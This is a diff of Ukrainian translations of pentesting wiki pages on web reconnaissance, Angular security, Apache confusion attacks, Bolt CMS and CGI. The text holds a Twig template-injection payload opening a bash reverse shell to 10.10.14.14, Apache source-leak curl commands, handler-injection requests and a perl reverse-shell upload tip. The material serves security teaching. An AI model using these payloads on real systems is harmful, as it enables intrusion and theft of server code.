`wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Швидкий: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, а інструмент, який, отримавши список знайдених URL, видалить "дубльовані" URL. +- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, а інструмент, який, given the list of found URLs, видалить "дубльовані" URL. - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Розширення Burp для створення списку каталогів з історії burp різних сторінок. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дублікатами функціональностей (на основі js імпортів). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для виявлення використовуваних технологій та вибору словників для використання. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованими функціями (на основі js імпортів). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для виявлення використовуваних технологій та вибору списків слів для використання. **Рекомендовані словники:** @@ -271,13 +271,13 @@ _Зверніть увагу, що щоразу, коли під час brute-fo - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знайти зламані посилання всередині HTML, які можуть бути схильні до захоплення. - **Резервні копії файлів**: Після того, як ви знайшли всі файли, шукайте резервні копії всіх виконуваних файлів ("_.php_", "_.aspx_"...). Загальні варіації для назви резервної копії: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Ви також можете використовувати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Виявлення нових параметрів**: Ви можете використовувати інструменти, такі як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо зможете, спробуйте шукати** приховані параметри в кожному виконуваному веб-файлі. -- _Arjun всі стандартні словники:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) +- _Arjun всі стандартні списки слів:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Коментарі:** Перевірте коментарі всіх файлів, ви можете знайти **облікові дані** або **приховану функціональність**. - Якщо ви граєте в **CTF**, "звичайний" трюк - це **сховати** **інформацію** всередині коментарів праворуч від **сторінки** (використовуючи **сотні** **пробілів**, щоб ви не бачили дані, якщо відкриєте вихідний код у браузері). Інша можливість - використовувати **кілька нових рядків** та **сховати інформацію** в коментарі в **нижній частині** веб-сторінки. -- **API ключі**: Якщо ви **знайдете будь-який API ключ**, є посібник, який вказує, як використовувати API ключі різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- **API ключі**: Якщо ви **знайдете будь-який API ключ**, є посібник, який вказує, як використовувати API ключі різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). - Google API ключі: Якщо ви знайдете будь-який API ключ, що виглядає як **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, ви можете використовувати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), щоб перевірити, до яких API ключ може отримати доступ. - **S3 Buckets**: Під час spidering перевірте, чи є якийсь **субдомен** або будь-яке **посилання**, пов'язане з якимось **S3 bucket**. У такому випадку, [**перевірте** **дозволи** на bucket](buckets/). @@ -288,14 +288,14 @@ _Зверніть увагу, що щоразу, коли під час brute-fo **Цікаві файли** - Шукайте **посилання** на інші файли всередині **CSS** файлів. -- [Якщо ви знайдете файл _**.git**_, з нього можна витягти деяку інформацію](git.md). -- Якщо ви знайдете _**.env**_, інформація, така як API ключі, паролі бази даних та інша інформація може бути знайдена. +- [Якщо ви знайдете файл _**.git**_, можна витягнути деяку інформацію](git.md). +- Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як API ключі, паролі бази даних та іншу інформацію. - Якщо ви знайдете **API кінцеві точки**, ви [також повинні їх протестувати](web-api-pentesting.md). Це не файли, але, ймовірно, "виглядатимуть" як вони. - **JS файли**: У розділі spidering згадувалися кілька інструментів, які можуть витягувати шляхи з JS файлів. Також було б цікаво **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміна може вказувати на те, що потенційна вразливість була введена в код. Ви можете використовувати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.** - Вам також слід перевірити виявлені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole), щоб дізнатися, чи є вони вразливими. -- **Javascript Deobfuscator та Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) -- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) -- **JsFuck deobfuscation** (javascript з символами:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) +- **Javascript Deobfuscator та Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator). +- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). +- **JsFuck deobfuscation** (javascript з символами:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - У кількох випадках вам потрібно буде **зрозуміти регулярні вирази**, що використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex). - Ви також можете **моніторити файли, в яких були виявлені форми**, оскільки зміна параметра або поява нової форми може вказувати на потенційно нову вразливу функціональність. @@ -308,17 +308,17 @@ _Зверніть увагу, що щоразу, коли під час brute-fo **502 Proxy Error** -Якщо будь-яка сторінка **відповідає** з цим **кодом**, це, ймовірно, **погано налаштований проксі**. **Якщо ви надішлете HTTP запит, наприклад: `GET https://google.com HTTP/1.1`** (з заголовком хоста та іншими загальними заголовками), **проксі** спробує **доступитися** до _**google.com**_ **і ви знайдете** SSRF. +Якщо будь-яка сторінка **відповідає** з цим **кодом**, це, ймовірно, **погано налаштований проксі**. **Якщо ви надішлете HTTP запит, наприклад: `GET https://google.com HTTP/1.1`** (з заголовком хоста та іншими загальними заголовками), **проксі** спробує **доступитися** _**google.com**_ **і ви знайдете** SSRF. **NTLM Authentication - Розкриття інформації** Якщо працюючий сервер запитує аутентифікацію **Windows** або ви знаходите вхід, що запитує ваші **облікові дані** (і запитує **ім'я домену**), ви можете спровокувати **розкриття інформації**.\ -**Надішліть** **заголовок**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) всередині заголовка "WWW-Authenticate".\ -Ви можете **автоматизувати** це, використовуючи **плагін nmap** "_http-ntlm-info.nse_". +**Надішліть** **заголовок**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\ +Ви можете **автоматизувати** це, використовуючи **nmap плагін** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Можливо **вставити вміст** всередині **Redirection**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає перенаправлення), але щось може бути **сховане** там. +Можливо **вставити вміст** всередину **Redirection**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає перенаправлення), але щось може бути **сховане** там. ### Перевірка веб-вразливостей diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 91a207b93..3dfd34789 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -10,11 +10,11 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). * [ ] Користувач не має контролю над шаблонами на стороні сервера або клієнта * [ ] Ненадійний ввід користувача очищається з використанням відповідного контексту безпеки перед тим, як бути довіреним додатком * [ ] `BypassSecurity*` методи не використовуються з ненадійним ввідом -* [ ] Ненадійний ввід користувача не передається в Angular класи, такі як `ElementRef`, `Renderer2` та `Document`, або інші JQuery/DOM sinks +* [ ] Ненадійний ввід користувача не передається в класи Angular, такі як `ElementRef`, `Renderer2` та `Document`, або інші JQuery/DOM sinks ## What is Angular -Angular є **потужним** і **відкритим** фреймворком для фронтенду, який підтримується **Google**. Він використовує **TypeScript** для покращення читабельності коду та налагодження. Завдяки сильним механізмам безпеки, Angular запобігає поширеним вразливостям на стороні клієнта, таким як **XSS** та **відкриті редиректи**. Його також можна використовувати на **стороні сервера**, що робить питання безпеки важливими з **обох сторін**. +Angular є **потужним** та **відкритим** фреймворком для фронтенду, який підтримується **Google**. Він використовує **TypeScript** для покращення читабельності коду та налагодження. Завдяки сильним механізмам безпеки, Angular запобігає поширеним вразливостям на стороні клієнта, таким як **XSS** та **відкриті редиректи**. Його також можна використовувати на **стороні сервера**, що робить питання безпеки важливими з **обох сторін**. ## Framework architecture @@ -39,13 +39,13 @@ my-workspace/ ├── angular.json #provides workspace-wide and project-specific configuration defaults └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace ``` -Згідно з документацією, кожен Angular-додаток має принаймні один компонент, кореневий компонент (`AppComponent`), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатка, і пов'язаний з HTML-шаблоном, який визначає вигляд, що має бути відображений у цільовому середовищі. Декоратор `@Component()` ідентифікує клас безпосередньо під ним як компонент і надає шаблон та відповідну метадані, специфічні для компонента. `AppComponent` визначено у файлі `app.component.ts`. +Згідно з документацією, кожен Angular-додаток має принаймні один компонент, кореневий компонент (`AppComponent`), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатка, і асоційований з HTML-шаблоном, який визначає вигляд, що має бути відображений у цільовому середовищі. Декоратор `@Component()` ідентифікує клас безпосередньо під ним як компонент і надає шаблон та відповідну специфічну для компонента метадані. `AppComponent` визначено у файлі `app.component.ts`. -Angular NgModules оголошують контекст компіляції для набору компонентів, який присвячений домену додатка, робочому процесу або тісно пов'язаному набору можливостей. Кожен Angular-додаток має кореневий модуль, зазвичай називається `AppModule`, який надає механізм завантаження, що запускає додаток. Додаток зазвичай містить багато функціональних модулів. `AppModule` визначено у файлі `app.module.ts`. +Angular NgModules оголошують контекст компіляції для набору компонентів, який присвячений домену додатка, робочому процесу або тісно пов'язаному набору можливостей. Кожен Angular-додаток має кореневий модуль, звичайно названий `AppModule`, який надає механізм завантаження, що запускає додаток. Додаток зазвичай містить багато функціональних модулів. `AppModule` визначено у файлі `app.module.ts`. -NgModule Angular `Router` надає сервіс, який дозволяє визначити навігаційний шлях серед різних станів додатка та ієрархій виглядів у вашому додатку. `RouterModule` визначено у файлі `app-routing.module.ts`. +NgModule Angular `Router` надає сервіс, який дозволяє визначити навігаційний шлях між різними станами додатка та ієрархіями виглядів у вашому додатку. `RouterModule` визначено у файлі `app-routing.module.ts`. -Для даних або логіки, які не пов'язані з конкретним виглядом і які ви хочете поділитися між компонентами, ви створюєте клас сервісу. Визначення класу сервісу безпосередньо передує декоратору `@Injectable()`. Декоратор надає метадані, які дозволяють іншим постачальникам бути впровадженими як залежності у ваш клас. Впровадження залежностей (DI) дозволяє зберігати ваші класи компонентів стрункими та ефективними. Вони не отримують дані з сервера, не перевіряють введення користувача і не ведуть безпосередній лог до консолі; вони делегують такі завдання сервісам. +Для даних або логіки, які не пов'язані з конкретним виглядом і які ви хочете поділитися між компонентами, ви створюєте клас сервісу. Визначення класу сервісу безпосередньо передує декоратору `@Injectable()`. Декоратор надає метадані, які дозволяють іншим провайдерам бути впровадженими як залежності у ваш клас. Впровадження залежностей (DI) дозволяє зберігати ваші класи компонентів стрункими та ефективними. Вони не отримують дані з сервера, не перевіряють введення користувача і не ведуть безпосередній лог до консолі; вони делегують такі завдання сервісам. ## Налаштування sourcemap @@ -64,7 +64,7 @@ NgModule Angular `Router` надає сервіс, який дозволяє в ## Прив'язка даних -Прив'язка відноситься до процесу комунікації між компонентом і відповідним виглядом. Вона використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або через механізм двосторонньої прив'язки. Більш того, дані також можуть бути спільними між пов'язаними компонентами (відношення батька і дитини) та між двома несумісними компонентами за допомогою функції Service. +Прив'язка відноситься до процесу комунікації між компонентом і відповідним виглядом. Вона використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або через механізм двосторонньої прив'язки. Більш того, дані також можуть бути спільно використані між пов'язаними компонентами (відношення батька і дитини) та між двома непов'язаними компонентами за допомогою функції Service. Ми можемо класифікувати прив'язку за потоком даних: @@ -85,7 +85,7 @@ NgModule Angular `Router` надає сервіс, який дозволяє в ## Модель безпеки Angular -Дизайн Angular включає кодування або санітаризацію всіх даних за замовчуванням, що ускладнює виявлення та експлуатацію вразливостей XSS у проектах Angular. Існує два різних сценарії обробки даних: +Дизайн Angular включає кодування або санітаризацію всіх даних за замовчуванням, що ускладнює виявлення та експлуатацію вразливостей XSS у проектах Angular. Існує два різних сценарії для обробки даних: 1. Інтерполяція або `{{user_input}}` - виконує контекстно-залежне кодування та інтерпретує введення користувача як текст; @@ -115,7 +115,7 @@ test = "

test

"; * `None`; * `HTML` використовується, коли інтерпретується значення як HTML; * `STYLE` використовується, коли прив'язується CSS до властивості `style`; -* `URL` використовується для URL-властивостей, таких як ``; +* `URL` використовується для URL властивостей, таких як ``; * `SCRIPT` використовується для JavaScript коду; * `RESOURCE_URL` як URL, який завантажується та виконується як код, наприклад, у `"); jQuery.parseHTML(data [, context ] [, keepScripts ]) ``` -Як вже згадувалося, більшість API jQuery, які приймають HTML-рядки, виконуватимуть скрипти, які включені в HTML. Метод `jQuery.parseHTML()` не виконує скрипти в розібраному HTML, якщо `keepScripts` явно не встановлено в `true`. Однак у більшості середовищ все ще можливо виконати скрипти непрямо; наприклад, через атрибут ``. +Як вже згадувалося, більшість API jQuery, які приймають HTML-рядки, виконуватимуть скрипти, які включені в HTML. Метод `jQuery.parseHTML()` не виконує скрипти в розібраному HTML, якщо `keepScripts` явно не дорівнює `true`. Однак у більшості середовищ все ще можливо виконати скрипти непрямо; наприклад, через атрибут ``. ```tsx //app.component.ts @@ -446,7 +446,7 @@ $palias.append(html); #### DOM інтерфейси -Згідно з документацією W3C, об'єкти `window.location` та `document.location` розглядаються як псевдоніми в сучасних браузерах. Саме тому вони мають подібну реалізацію деяких методів і властивостей, що може призвести до відкритого перенаправлення та DOM XSS з атаками схеми `javascript://`, як зазначено нижче. +Згідно з документацією W3C, об'єкти `window.location` та `document.location` розглядаються як псевдоніми в сучасних браузерах. Саме тому вони мають подібну реалізацію деяких методів і властивостей, що може призвести до відкритого перенаправлення та DOM XSS з атаками за схемою `javascript://`, як зазначено нижче. * `window.location.href`(і `document.location.href`) @@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank") #### Angular класи -* Згідно з документацією Angular, Angular `Document` є тим же, що й документ DOM, що означає, що можливо використовувати загальні вектори для документа DOM для експлуатації вразливостей на стороні клієнта в Angular. Властивості та методи `Document.location` можуть бути джерелами для успішних атак відкритого перенаправлення, як показано в прикладі: +* Згідно з документацією Angular, Angular `Document` є тим самим, що й документ DOM, що означає, що можна використовувати загальні вектори для документа DOM для експлуатації вразливостей на стороні клієнта в Angular. Властивості та методи `Document.location` можуть бути джерелами успішних атак відкритого перенаправлення, як показано в прикладі: ```tsx //app.component.ts @@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* Під час дослідницького етапу ми також переглянули клас Angular `Location` на предмет вразливостей відкритого перенаправлення, але жодних дійсних векторів не було знайдено. `Location` - це сервіс Angular, який програми можуть використовувати для взаємодії з поточною URL-адресою браузера. Цей сервіс має кілька методів для маніпуляції з даною URL-адресою - `go()`, `replaceState()` та `prepareExternalUrl()`. Однак ми не можемо використовувати їх для перенаправлення на зовнішній домен. Наприклад: +* Під час дослідницької фази ми також переглянули клас Angular `Location` на предмет вразливостей відкритого перенаправлення, але жодних дійсних векторів не було знайдено. `Location` - це сервіс Angular, який програми можуть використовувати для взаємодії з поточною URL-адресою браузера. Цей сервіс має кілька методів для маніпуляції з даною URL-адресою - `go()`, `replaceState()`, і `prepareExternalUrl()`. Однак ми не можемо використовувати їх для перенаправлення на зовнішній домен. Наприклад: ```tsx //app.component.ts diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 9f598b1c9..953b50bdf 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -23,17 +23,17 @@ Linux ``` ## Confusion Attack -Ці типи атак були представлені та задокументовані [**компанією Orange у цьому блозі**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1), і нижче наведено їхній короткий виклад. Атака "confusion" в основному зловживає тим, як десятки модулів, які працюють разом, створюючи Apache, не працюють ідеально синхронізовано, і змушуючи деякі з них модифікувати деякі неочікувані дані може викликати вразливість у наступному модулі. +Ці типи атак були представлені та задокументовані [**компанією Orange у цьому блозі**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1), і нижче наведено резюме. Атака "confusion" в основному зловживає тим, як десятки модулів, які працюють разом, створюючи Apache, не працюють ідеально синхронізовано, і змушуючи деякі з них змінювати деякі неочікувані дані може викликати вразливість у наступному модулі. ### Filename Confusion #### Truncation -**`mod_rewrite`** обрізає вміст `r->filename` після символу `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Це не зовсім неправильно, оскільки більшість модулів розглядають `r->filename` як URL. Але в інших випадках це буде розглядатися як шлях до файлу, що може викликати проблему. +**`mod_rewrite`** обрізає вміст `r->filename` після символу `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Це не зовсім неправильно, оскільки більшість модулів буде розглядати `r->filename` як URL. Але в інших випадках це буде розглядатися як шлях до файлу, що може викликати проблему. - **Path Truncation** -Можливо зловживати `mod_rewrite`, як у наступному прикладі правила, щоб отримати доступ до інших файлів у файловій системі, видаляючи останню частину очікуваного шляху, просто додавши `?`: +Можна зловживати `mod_rewrite`, як у наступному прикладі правила, щоб отримати доступ до інших файлів у файловій системі, видаляючи останню частину очікуваного шляху, просто додавши `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -72,14 +72,14 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Це пов'язано з тим, що за замовчуванням PHP-FPM отримуватиме URL-адреси, що закінчуються на `.php`, такі як `http://server/admin.php%3Fooo.php`, і оскільки PHP-FPM видалить все після символу `?`, попередня URL-адреса дозволить завантажити `/admin.php`, навіть якщо попереднє правило забороняло це. +Це пов'язано з тим, що за замовчуванням PHP-FPM отримуватиме URL-адреси, що закінчуються на `.php`, такі як `http://server/admin.php%3Fooo.php`, і оскільки PHP-FPM видалить усе після символу `?`, попередня URL-адреса дозволить завантажити `/admin.php`, навіть якщо попереднє правило забороняло це. ### DocumentRoot Confusion ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Цікава деталь про Apache полягає в тому, що попереднє переписування спробує отримати доступ до файлу як з documentRoot, так і з кореня. Отже, запит до `https://server/abouth.html` перевірить наявність файлу в `/var/www/html/about.html` та `/about.html` у файловій системі. Це, по суті, може бути використано для доступу до файлів у файловій системі. +Цікава деталь про Apache полягає в тому, що попередній перепис намагатиметься отримати доступ до файлу як з documentRoot, так і з кореня. Отже, запит до `https://server/abouth.html` перевірить наявність файлу в `/var/www/html/about.html` та `/about.html` у файловій системі. Це, по суті, може бути використано для доступу до файлів у файловій системі. #### **Розкриття вихідного коду на стороні сервера** @@ -97,7 +97,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F ``` - **Розкриття вихідного коду PHP** -Якщо сервер має різні домени, один з яких є статичним доменом, це можна використати для обходу файлової системи та витоку php коду: +Якщо сервер має різні домени, один з яких є статичним доменом, це можна використати для обходу файлової системи та витоку коду php: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -142,7 +142,7 @@ Require all granted **Локальний гаджет для SSRF** -- Використовуючи **magpie_debug.php** з **MagpieRSS** за адресою **/usr/share/php/magpierss/scripts/magpie_debug.php**, можна легко створити вразливість SSRF, що забезпечує доступ до подальших експлуатацій. +- Використовуючи **magpie_debug.php** з **MagpieRSS** за адресою **/usr/share/php/magpierss/scripts/magpie_debug.php**, можна легко створити вразливість SSRF, що надає доступ до подальших експлойтів. **Локальний гаджет для RCE** @@ -150,7 +150,7 @@ Require all granted #### **Джейнбрейк з локальних гаджетів** -Також можливо здійснити джейнбрейк з дозволених папок, слідуючи символічним посиланням, створеним встановленим програмним забезпеченням у цих папках, наприклад: +Також можливо здійснити джейнбрейк з дозволених папок, слідуючи символічним посиланням, створеним встановленим програмним забезпеченням у цих папках, такими як: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -162,14 +162,14 @@ Require all granted ### Handler Confusion -Цей напад експлуатує перетворення функціональності між директивами `AddHandler` та `AddType`, які обидві можуть бути використані для **увімкнення обробки PHP**. Спочатку ці директиви впливали на різні поля (`r->handler` та `r->content_type` відповідно) у внутрішній структурі сервера. Однак, через застарілий код, Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи `r->content_type` на `r->handler`, якщо перше встановлено, а друге - ні. +Цей напад експлуатує перетин функціональності між директивами `AddHandler` та `AddType`, які обидві можуть бути використані для **увімкнення обробки PHP**. Спочатку ці директиви впливали на різні поля (`r->handler` та `r->content_type` відповідно) у внутрішній структурі сервера. Однак, через застарілий код, Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи `r->content_type` на `r->handler`, якщо перше встановлено, а друге - ні. -Більше того, в Apache HTTP Server (`server/config.c#L420`), якщо `r->handler` порожній перед виконанням `ap_run_handler()`, сервер **використовує `r->content_type` як обробник**, фактично роблячи `AddType` та `AddHandler` ідентичними за ефектом. +Більше того, в Apache HTTP Server (`server/config.c#L420`), якщо `r->handler` порожній перед виконанням `ap_run_handler()`, сервер **використовує `r->content_type` як обробник**, ефективно роблячи `AddType` та `AddHandler` ідентичними за ефектом. #### **Перезаписати обробник для розкриття PHP вихідного коду** -У [**цьому виступі**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) була представлена вразливість, де неправильний `Content-Length`, надісланий клієнтом, може призвести до того, що Apache помилково **поверне вихідний код PHP**. Це сталося через проблему обробки помилок з ModSecurity та Apache Portable Runtime (APR), де подвоєна відповідь призводить до перезапису `r->content_type` на `text/html`.\ -Оскільки ModSecurity не обробляє належним чином значення повернення, він поверне код PHP і не інтерпретує його. +У [**цьому виступі**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) була представлена вразливість, де неправильний `Content-Length`, надісланий клієнтом, може призвести до того, що Apache помилково **поверне PHP вихідний код**. Це сталося через проблему обробки помилок з ModSecurity та Apache Portable Runtime (APR), де подвоєна відповідь призводить до перезапису `r->content_type` на `text/html`.\ +Оскільки ModSecurity не обробляє належним чином значення повернення, він поверне PHP код і не інтерпретує його. #### **Перезаписати обробник для XXXX** @@ -177,9 +177,9 @@ TODO: Orange ще не розкрив цю вразливість ### **Виклик довільних обробників** -Якщо зловмисник може контролювати заголовок **`Content-Type`** у відповіді сервера, він зможе **викликати довільні модульні обробники**. Однак, на момент, коли зловмисник контролює це, більшість процесу запиту буде виконано. Проте, можливо **перезапустити процес запиту, зловживаючи заголовком `Location`**, оскільки якщо повернутий `Status` - 200, а заголовок `Location` починається з `/`, відповідь обробляється як серверне перенаправлення і повинна бути оброблена. +Якщо зловмисник може контролювати заголовок **`Content-Type`** у відповіді сервера, він зможе **викликати довільні модульні обробники**. Однак, на момент, коли зловмисник контролює це, більшість процесу запиту буде завершено. Однак, можливо **перезапустити процес запиту, зловживаючи заголовком `Location`**, оскільки якщо **r**eturned `Status` дорівнює 200 і заголовок `Location` починається з `/`, відповідь обробляється як серверна редирекція і повинна бути оброблена. -Згідно з [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (специфікація про CGI) у [Розділі 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) визначається поведінка локальної відповіді перенаправлення: +Згідно з [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (специфікація про CGI) у [Розділі 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) визначається поведінка локальної редирекції відповіді: > CGI-скрипт може повернути URI шлях і рядок запиту (‘local-pathquery’) для локального ресурсу в заголовку Location. Це вказує серверу, що він повинен повторно обробити запит, використовуючи вказаний шлях. @@ -190,7 +190,7 @@ TODO: Orange ще не розкрив цю вразливість #### **Довільний обробник для розкриття інформації** -Наприклад, `/server-status` має бути доступним лише локально: +Наприклад, `/server-status` повинен бути доступний лише локально: ```xml SetHandler server-status @@ -226,7 +226,7 @@ Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Довільний обробник для RCE** +#### **Випадковий обробник для RCE** Офіційний [PHP Docker](https://hub.docker.com/_/php) образ включає PEAR (`Pearcmd.php`), інструмент управління пакетами PHP через командний рядок, який можна зловживати для отримання RCE: ``` diff --git a/src/network-services-pentesting/pentesting-web/bolt-cms.md b/src/network-services-pentesting/pentesting-web/bolt-cms.md index bd702b0f5..1e72512c7 100644 --- a/src/network-services-pentesting/pentesting-web/bolt-cms.md +++ b/src/network-services-pentesting/pentesting-web/bolt-cms.md @@ -14,7 +14,7 @@ - Виберіть `File management` -> `View & edit templates` - Виберіть базову тему, знайдену на попередньому (`base-2021` в цьому випадку) кроці, і виберіть `index.twig` - У моєму випадку це за URL-адресою /bolt/file-edit/themes?file=/base-2021/index.twig -- Вставте свій payload у цей файл через [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php), наприклад: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` +- Вставте ваш payload у цей файл через [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php), наприклад: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` - І збережіть зміни
diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index a2601b3b4..59a8f996f 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -2,11 +2,11 @@ # Інформація -**CGI скрипти - це perl скрипти**, тому, якщо ви зламали сервер, який може виконувати _**.cgi**_ скрипти, ви можете **завантажити perl зворотний шелл** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **змінити розширення** з **.pl** на **.cgi**, надати **права на виконання** \(`chmod +x`\) і **отримати доступ** до зворотного шеллу **з веб-браузера** для його виконання. Щоб перевірити наявність **CGI вразливостей**, рекомендується використовувати `nikto -C all` \(і всі плагіни\) +**CGI скрипти - це perl скрипти**, тому, якщо ви зламали сервер, який може виконувати _**.cgi**_ скрипти, ви можете **завантажити perl зворотний шелл** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **змінити розширення** з **.pl** на **.cgi**, надати **права на виконання** \(`chmod +x`\) і **доступ** до зворотного шеллу **з веб-браузера** для його виконання. Щоб перевірити наявність **CGI вразливостей**, рекомендується використовувати `nikto -C all` \(і всі плагіни\) # 